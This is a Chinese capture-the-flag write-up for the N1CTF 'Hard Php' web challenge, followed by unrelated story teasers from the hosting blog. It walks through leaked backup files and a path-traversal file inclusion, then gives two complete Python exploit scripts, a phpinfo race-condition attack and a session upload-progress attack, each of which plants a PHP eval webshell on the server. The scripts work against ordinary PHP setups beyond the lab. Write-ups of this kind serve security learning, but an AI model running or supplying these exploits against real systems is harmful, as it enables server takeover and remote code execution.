N1CTF Hard Php Write Up

N1CTF Hard Php Writeup

https://github.com/wonderkun/CTF_web/tree/master/web600-1?1520941487499

爆破目录,得到:
config php~
index.php~
user.php
config.php

~文件存在源码泄露。
index.php~

<?php
require_once 'user.php';
$C = new Customer();
if(isset($_GET['action']))
require_once 'views/'.$_GET['action'];
else
header('Location: index.php?action=login');

1.发现有文件包含漏洞: require_once 'views/'.$_GET['action']; ,但因为有 'view/'拼接路径,无法使用php://伪协议获取源码。
2.发现路径:'views/', 查看发现:

[ ] Dockerfile  2018-03-12 14:16    355  
[ ] delete  2018-03-12 12:56    245      
[ ] index   2018-03-12 13:17    2.3K     
[ ] login   2018-03-12 12:56    1.8K     
[ ] profile 2018-03-12 12:56    1.5K
[ ] publish 2018-03-12 12:56    3.0K 
[ ] register    2018-03-12 12:56    1.8K

可获取源码。Dockerfile忘记删除,可查看目标环境配置信息。
Dockerfile:

FROM andreisamuilik/php5.5.9-apache2.4-mysql5.5

ADD nu1lctf.tar.gz /app/
RUN apt-get update
RUN a2enmod rewrite
COPY sql.sql /tmp/sql.sql
COPY run.sh /run.sh
RUN mkdir /home/nu1lctf
COPY clean_danger.sh /home/nu1lctf/clean_danger.sh

RUN chmod +x /run.sh
RUN chmod 777 /tmp/sql.sql
RUN chmod 555 /home/nu1lctf/clean_danger.sh

EXPOSE 80
CMD ["/run.sh"]

通过文件包含,查看 http://192.168.1.173:8080/index.php?action=../../home/nu1lctf/clean_danger.sh

clean_danger.sh:

cd /app/adminpic/ 
rm *.jpg 
cd /var/www/html/adminpic/ 
rm * 

查看 '/run.sh',返回500错误。(后续getshell成功后, 仍无权限读取run.sh,不知道是否时环境问题。)

根据Dockerfile,部署目标系统的依托环境,可发现其他敏感文件路径,例如:/var/www/phpinfo/index.php,访问 http://192.168.1.173:8080/index.php?action=../../var/www/phpinfo/index.php,可得到phpinfo信息。

1.预期解:

2.phpinfo+Lfi

payload:

import os
import socket 
import sys

def init(host,port):
    #padding = 'sky'*2000
    padding = 'sky0000000000'
    payload="""sky test!<?php file_put_contents('/app/sky', '<?php
eval($_REQUEST[sky]);?>');?>\r"""
    request1_data ="""------WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Disposition: form-data; name="file"; filename="test.php"\r
Content-Type: text/php\r
\r
%s
------WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Disposition: form-data; name="submit"\r
\r
Submit\r
------WebKitFormBoundary9MWZnWxBey8mbAQ8--\r
""" % payload
    request1 = """POST /index.php?action=../../var/www/phpinfo/index.php&a="""+padding+""" HTTP/1.1\r
Cookie: skypadding="""+padding+"""\r
Cache-Control: max-age=0\r
Upgrade-Insecure-Requests: 1\r
Origin: null\r
Accept: """ + padding + """\r
User-Agent: """+padding+"""\r
Accept-Language: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9MWZnWxBey8mbAQ8\r
Content-Length: %s\r
Host: %s:%s\r
Cookie: PHPSESSID=3pkdbhp1dje4p6acd1aav2g7u0\r
\r
%s""" %(len(request1_data),host,port,request1_data)
    request2 = """GET /index.php?action=../..%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s:%s\r
Cookie: PHPSESSID=3pkdbhp1dje4p6acd1aav2g7u0\r
\r
\r
"""
    return (request1,request2)


def getOffset(host,port,request1):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(request1)
    d = "" 
    while True:
        i = s.recv(4096)
        d+=i
        if i == "":
            break
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        print 'not fonud'
    print "found %s at %i" % (d[i:i+10],i)
    return i+256

def phpinfo_LFI(host,port,offset,request1,request2):
    s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s1.connect((host,port))
    s2.connect((host,port))
    
    s1.send(request1)
    d = ""
    while len(d) < offset:
        d += s1.recv(offset) 
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i+17:i+31]
        s2.send(request2 % (fn,host,port))
        tmp = s2.recv(4096)
        
        if tmp.find("sky test!") != -1:
            return fn
    except ValueError:
        return None
    s1.close()
    s2.close()
  
attempts = 1000
host = "192.168.1.172"
port = 8080
request1,request2 = init(host,port)
offset = getOffset(host,port,request1)
for i in range(1,attempts):
    print "try:"+str(i)+"/"+str(attempts)
    sys.stdout.flush()
    res = phpinfo_LFI(host,port,offset,request1,request2)
    if res is not None:
        print 'You can getshell with /app/sky!'
        break

3.Session+Lfi

session.name    PHPSESSID   PHPSESSID
session.referer_check   no value    no value
session.save_handler    files   files
session.save_path   /var/lib/php5   /var/lib/php5

根据以上信息,可通过文件包含session文件,例如:
/var/lib/php5/sess_[PHPSESSID]。

payload:

import requests
import time
import threading


host = 'http://192.168.1.172:8080'
lfiPath ='/index.php?action=../..'
PHPSESSID = '3pkdbhp1dje4p6acd1aav2g7u0'
writablePath = '/app/sky'
sessionPath = '/var/lib/php5/'


def creatSession():
    while True:
        files = {
        "upload" : ("tmp.jpg", open("/etc/passwd", "rb"))
        }
        data = {"PHP_SESSION_UPLOAD_PROGRESS" : "32p8<?php file_put_contents('%s', '<?php eval($_GET[sky]);?>');?>"%writablePath}
        headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
        r = requests.post(host,files = files,headers = headers,data=data)

fileName = sessionPath+"sess_"+PHPSESSID

if __name__ == '__main__':

    url = "{}{}{}".format(host,lfiPath,fileName)
    headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
    t = threading.Thread(target=creatSession,args=())
    t.setDaemon(True)
    t.start()
    while True:
        res = requests.get(url,headers=headers)
        if "32p8" in res.content:
            print("[*] Get shell success.")
            print(url)
            break
        else:
            print("[-] retry.")

通过方法2、3可以成功getshell。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 216,193评论 6 498
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,306评论 3 392
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 162,130评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,110评论 1 292
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,118评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,085评论 1 295
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,007评论 3 417
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,844评论 0 273
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,283评论 1 310
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,508评论 2 332
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,667评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,395评论 5 343
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,985评论 3 325
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,630评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,797评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,653评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,553评论 2 352

推荐阅读更多精彩内容